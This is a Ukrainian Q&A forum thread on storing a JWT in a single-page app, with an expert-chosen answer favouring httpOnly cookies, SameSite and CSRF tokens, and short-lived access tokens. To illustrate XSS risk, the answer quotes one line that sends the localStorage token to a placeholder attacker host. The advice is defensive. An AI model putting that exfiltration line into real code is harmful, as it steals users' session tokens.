Будую авторизацію в SPA. Backend повертає JWT після логіну. Бачу два підходи:
- Зберігати у
localStorage— простіше, але вразливе до XSS - Зберігати у
httpOnlycookie — захищено від JS, але потрібен CORS і CSRF-захист
Який варіант кращий у 2026?
Питання закрите для нових відповідей.
Експерт обрав найкращою
1 Відповідь
Короткий висновок: httpOnly cookies — безпечніше, і це сучасний стандарт. Але вибір залежить від архітектури.
localStorage — НЕ рекомендується
Якщо у вашому додатку є будь-яка XSS-вразливість (наприклад, через сторонню бібліотеку) — атакуючий читає localStorage одним рядком JS:
fetch("https://attacker.com?token=" + localStorage.getItem("jwt"));
httpOnly cookies — правильний вибір
Cookie з прапором httpOnly недоступне з JS — XSS не дотягнеться. На бекенді встановлюйте так:
res.cookie("token", jwt, {
httpOnly: true,
secure: true, // тільки HTTPS
sameSite: "Lax", // або "Strict" для максимальної безпеки
maxAge: 7 * 24 * 60 * 60 * 1000,
});
Проти CSRF
Cookies автоматично відправляються — це створює CSRF-ризик. Захист:
SameSite=LaxабоStrict— закриває 95% CSRF- Окремий CSRF-токен у заголовку
X-CSRF-Tokenдля critical операцій - Для API на іншому домені —
SameSite=None; Secure+ явний CSRF-токен
Сучасна альтернатива — Token Rotation
У 2026 поширений підхід: короткоживучий access-token (5 хв) у памʼяті JS + refresh-token у httpOnly cookie. Якщо access вкрадено — він і так скоро здохне.
Експерт обрав найкращою